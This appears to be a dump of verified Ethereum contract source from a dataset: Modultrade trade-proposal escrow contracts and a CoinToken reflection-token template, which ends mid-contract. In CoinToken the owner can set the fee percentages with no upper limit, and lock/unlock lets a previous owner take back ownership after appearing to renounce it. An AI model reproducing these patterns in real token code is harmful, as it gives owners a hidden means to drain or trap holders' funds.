function ModultradeStorage() public {}
function insertProposal(address seller, uint id, address proposal) public onlyOwner {
sellerProposals[seller].push(proposal);
proposalListAddress[id] = proposal;
proposals.push(proposal);
InsertProposalEvent(proposal, id, seller);
}
function getProposalsBySeller(address seller) public constant returns (address[]){
return sellerProposals[seller];
}
function getProposals() public constant returns (address[]){
return proposals;
}
function getProposalById(uint id) public constant returns (address){
return proposalListAddress[id];
}
function getCount() public constant returns (uint) {
return proposals.length;
}
function getCountBySeller(address seller) public constant returns (uint) {
return sellerProposals[seller].length;
}
function firePaidProposalEvent(address proposal, uint id) public {
require(proposalListAddress[id] == proposal);
PaidProposalEvent(proposal, id);
}
function changeOwner(address newOwner) public onlyDeployer {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | 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| v0.4.18+commit.9cf6e910 | true | 200 | 00000000000000000000000074cebf05e472afb012896a9dafc3ce057233136f0000000000000000000000002acd7397615850f401ea16eb508ef59eac65f2a20000000000000000000000001e49ff77c355a3e38d6651ce8404af0e48c5395f | Default | false | bzzr://b6273084c6f54bd3ad892cea9cf6d06aa8f14c54d4ee750f7d8a2dcc858f6a83 |
|||
ModultradeProposal | contracts/ModultradeProposal.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | contract ModultradeProposal is OracleOwnable, ContractReceiver {
address public seller;
address public buyer;
uint public id;
string public title;
uint public price;
ModultradeLibrary.Currencies public currency;
uint public units;
uint public total;
uint public validUntil;
ModultradeLibrary.ProposalStates public state;
uint public payDate;
string public deliveryId;
uint public fee;
address public feeAddress;
ERC20 mtrContract;
Modultrade modultrade;
bytes public tokenFallbackData;
event CreatedEvent(uint _id, ModultradeLibrary.ProposalStates _state);
event PaidEvent(uint _id, ModultradeLibrary.ProposalStates _state, address _buyer);
event DeliveryEvent(uint _id, ModultradeLibrary.ProposalStates _state, string _deliveryId);
event ClosedEvent(uint _id, ModultradeLibrary.ProposalStates _state, address _seller, uint _amount);
event CanceledEvent(uint _id, ModultradeLibrary.ProposalStates _state, address _buyer, uint _amount);
function ModultradeProposal(address _modultrade, address _seller, address _mtrContractAddress) public {
seller = _seller;
state = ModultradeLibrary.ProposalStates.Created;
mtrContract = ERC20(_mtrContractAddress);
modultrade = Modultrade(_modultrade);
}
function setProposal(uint _id,
string _title,
uint _price,
ModultradeLibrary.Currencies _currency,
uint _units,
uint _total,
uint _validUntil
) public onlyOracleOrOwner {
require(state == ModultradeLibrary.ProposalStates.Created);
id = _id;
title = _title;
price = _price;
currency = _currency;
units = _units;
total = _total;
validUntil = _validUntil;
}
function setFee(uint _fee, address _feeAddress) public onlyOracleOrOwner {
require(state == ModultradeLibrary.ProposalStates.Created);
fee = _fee;
feeAddress = _feeAddress;
}
function() public payable {purchase();}
function purchase() public payable {
require(currency == ModultradeLibrary.Currencies.ETH);
require(msg.value >= total);
setPaid(msg.sender);
}
function setPaid(address _buyer) internal {
require(state == ModultradeLibrary.ProposalStates.Created);
state = ModultradeLibrary.ProposalStates.Paid;
buyer = _buyer;
payDate = now;
PaidEvent(id, state, buyer);
modultrade.firePaidProposalEvent(address(this), id);
}
function paid(address _buyer) public onlyOracleOrOwner {
require(getBalance() >= total);
setPaid(_buyer);
}
function mtrTokenFallBack(address from, uint value) internal {
require(currency == ModultradeLibrary.Currencies.MTR);
require(msg.sender == address(mtrContract));
require(value >= total);
setPaid(from);
}
function tokenFallback(address from, uint value) public {
mtrTokenFallBack(from, value);
}
function tokenFallback(address from, uint value, bytes data) public {
tokenFallbackData = data;
mtrTokenFallBack(from, value);
}
function delivery(string _deliveryId) public onlyOracleOrOwner {
require(state == ModultradeLibrary.ProposalStates.Paid);
deliveryId = _deliveryId;
state = ModultradeLibrary.ProposalStates.Delivery;
DeliveryEvent(id, state, deliveryId);
modultrade.fireDeliveryProposalEvent(address(this), id);
}
function close() public onlyOracleOrOwner {
require(state != ModultradeLibrary.ProposalStates.Closed);
require(state != ModultradeLibrary.ProposalStates.Canceled);
if (currency == ModultradeLibrary.Currencies.ETH) {
closeEth();
}
if (currency == ModultradeLibrary.Currencies.MTR) {
closeMtr();
}
state = ModultradeLibrary.ProposalStates.Closed;
ClosedEvent(id, state, seller, this.balance);
modultrade.fireCloseProposalEvent(address(this), id);
}
function closeEth() private {
if (fee > 0) {
feeAddress.transfer(fee);
}
seller.transfer(this.balance);
}
function closeMtr() private {
if (fee > 0) {
mtrContract.transfer(feeAddress, fee);
}
mtrContract.transfer(seller, getBalance());
}
function cancel(uint cancelFee) public onlyOracleOrOwner {
require(state != ModultradeLibrary.ProposalStates.Closed);
require(state != ModultradeLibrary.ProposalStates.Canceled);
uint _balance = getBalance();
if (_balance > 0) {
if (currency == ModultradeLibrary.Currencies.ETH) {
cancelEth(cancelFee);
}
if (currency == ModultradeLibrary.Currencies.MTR) {
cancelMtr(cancelFee);
}
}
state = ModultradeLibrary.ProposalStates.Canceled;
CanceledEvent(id, state, buyer, this.balance);
modultrade.fireCancelProposalEvent(address(this), id);
}
function cancelEth(uint cancelFee) private {
uint _fee = cancelFee;
if (cancelFee > this.balance) {
_fee = this.balance;
}
feeAddress.transfer(_fee);
if (this.balance > 0 && buyer != address(0)) {
buyer.transfer(this.balance);
}
}
function cancelMtr(uint cancelFee) private {
uint _fee = cancelFee;
uint _balance = getBalance();
if (cancelFee > _balance) {
_fee = _balance;
}
mtrContract.transfer(feeAddress, _fee);
_balance = getBalance();
if (_balance > 0 && buyer != address(0)) {
mtrContract.transfer(buyer, _balance);
}
}
function getBalance() public constant returns (uint) {
if (currency == ModultradeLibrary.Currencies.MTR) {
return mtrContract.balanceOf(address(this));
}
return this.balance;
}
} | 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| v0.4.18+commit.9cf6e910 | true | 200 | 00000000000000000000000074cebf05e472afb012896a9dafc3ce057233136f0000000000000000000000002acd7397615850f401ea16eb508ef59eac65f2a20000000000000000000000001e49ff77c355a3e38d6651ce8404af0e48c5395f | Default | false | bzzr://b6273084c6f54bd3ad892cea9cf6d06aa8f14c54d4ee750f7d8a2dcc858f6a83 |
|||
ModultradeProposal | contracts/Modultrade.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | contract Modultrade is OracleOwnable, Deployer {
address public mtrContractAddress;
ModultradeStorage public modultradeStorage;
event ProposalCreatedEvent(uint _id, address _proposal);
event PaidProposalEvent (address _proposal, uint _id);
event CancelProposalEvent (address _proposal, uint _id);
event CloseProposalEvent (address _proposal, uint _id);
event DeliveryProposalEvent (address _proposal, uint _id);
event LogEvent (address _addr, string _log, uint _i);
function Modultrade(address _owner, address _oracle, address _mtrContractAddress, address _storageAddress) public {
transferOwnership(_owner);
setOracle(_oracle);
mtrContractAddress = _mtrContractAddress;
modultradeStorage = ModultradeStorage(_storageAddress);
}
function createProposal(
address seller,
uint id,
string title,
uint price,
ModultradeLibrary.Currencies currency,
uint units,
uint total,
uint validUntil,
uint fee,
address feeAddress
) public onlyOracleOrOwner {
ModultradeProposal proposal = new ModultradeProposal(address(this), seller, mtrContractAddress);
LogEvent (address(proposal), 'ModultradeProposal', 1);
proposal.setProposal(id, title, price, currency, units, total, validUntil);
proposal.setFee(fee, feeAddress);
proposal.setOracle(oracle);
proposal.transferOwnership(owner);
modultradeStorage.insertProposal(seller, id, address(proposal));
ProposalCreatedEvent(proposal.id(), address(proposal));
}
function transferStorage(address _owner) public onlyOracleOrOwner {
modultradeStorage.transferOwnership(_owner);
}
function firePaidProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
PaidProposalEvent(proposal, id);
}
function fireCancelProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
CancelProposalEvent(proposal, id);
}
function fireCloseProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
CloseProposalEvent(proposal, id);
}
function fireDeliveryProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
DeliveryProposalEvent(proposal, id);
}
} | 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:[{"indexed":false,"name":"_id","type":"uint256"},{"indexed":false,"name":"_state","type":"uint8"}],"name":"CreatedEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_id","type":"uint256"},{"indexed":false,"name":"_state","type":"uint8"},{"indexed":false,"name":"_buyer","type":"address"}],"name":"PaidEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_id","type":"uint256"},{"indexed":false,"name":"_state","type":"uint8"},{"indexed":false,"name":"_deliveryId","type":"string"}],"name":"DeliveryEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_id","type":"uint256"},{"indexed":false,"name":"_state","type":"uint8"},{"indexed":false,"name":"_seller","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"ClosedEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_id","type":"uint256"},{"indexed":false,"name":"_state","type":"uint8"},{"indexed":false,"name":"_buyer","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"CanceledEvent","type":"event"}] | v0.4.18+commit.9cf6e910 | true | 200 | 00000000000000000000000074cebf05e472afb012896a9dafc3ce057233136f0000000000000000000000002acd7397615850f401ea16eb508ef59eac65f2a20000000000000000000000001e49ff77c355a3e38d6651ce8404af0e48c5395f | Default | false | bzzr://b6273084c6f54bd3ad892cea9cf6d06aa8f14c54d4ee750f7d8a2dcc858f6a83 |
|||
CoinToken | CoinToken.sol | 0x8506e9d6173d793cdc087eb05dd9eea6224b6c35 | Solidity | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address public _owner;
address private _previousOwner;
uint256 public _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock.");
require(block.timestamp > _lockTime , "Contract is locked.");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CoinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address public _devWalletAddress; // TODO - team wallet here
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 public _taxFee;
uint256 private _previousTaxFee;
uint256 public _devFee;
uint256 private _previousDevFee;
uint256 public _liquidityFee;
uint256 private _previousLiquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount;
uint256 public numTokensSellToAddToLiquidity;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (string memory _NAME, string memory _SYMBOL, uint256 _DECIMALS, uint256 _supply, uint256 _txFee,uint256 _lpFee,uint256 _DexFee,address routerAddress,address feeaddress,address tokenOwner,address service) public payable {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = _DECIMALS;
_tTotal = _supply * 10 ** _decimals;
_rTotal = (MAX - (MAX % _tTotal));
_taxFee = _txFee;
_liquidityFee = _lpFee;
_previousTaxFee = _txFee;
_devFee = _DexFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _lpFee;
_maxTxAmount = (_tTotal * 5 / 1000) * 10 ** _decimals;
numTokensSellToAddToLiquidity = (_tTotal * 5 / 10000) * 10 ** _decimals;
_devWalletAddress = feeaddress;
_rOwned[tokenOwner] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[tokenOwner] = true;
_isExcludedFromFee[address(this)] = true;
_owner = tokenOwner;
payable(service).transfer(msg.value);
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setDevFeePercent(uint256 devFee) external onlyOwner() {
_devFee = devFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = maxTxPercent * 10 ** _decimals;
}
function setDevWalletAddress(address _addr) public onlyOwner {
_devWalletAddress = _addr;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tDev, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tDev);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDev);
return (tTransferAmount, tFee, tLiquidity, tDev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDev);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeDev(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devWalletAddress] = _rOwned[_devWalletAddress].add(rDev);
if(_isExcluded[_devWalletAddress])
_tOwned[_devWalletAddress] = _tOwned[_devWalletAddress].add(tDev);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_devFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
_previousTaxFee = _taxFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_devFee = 0;
_liquidityFee = 0;
}
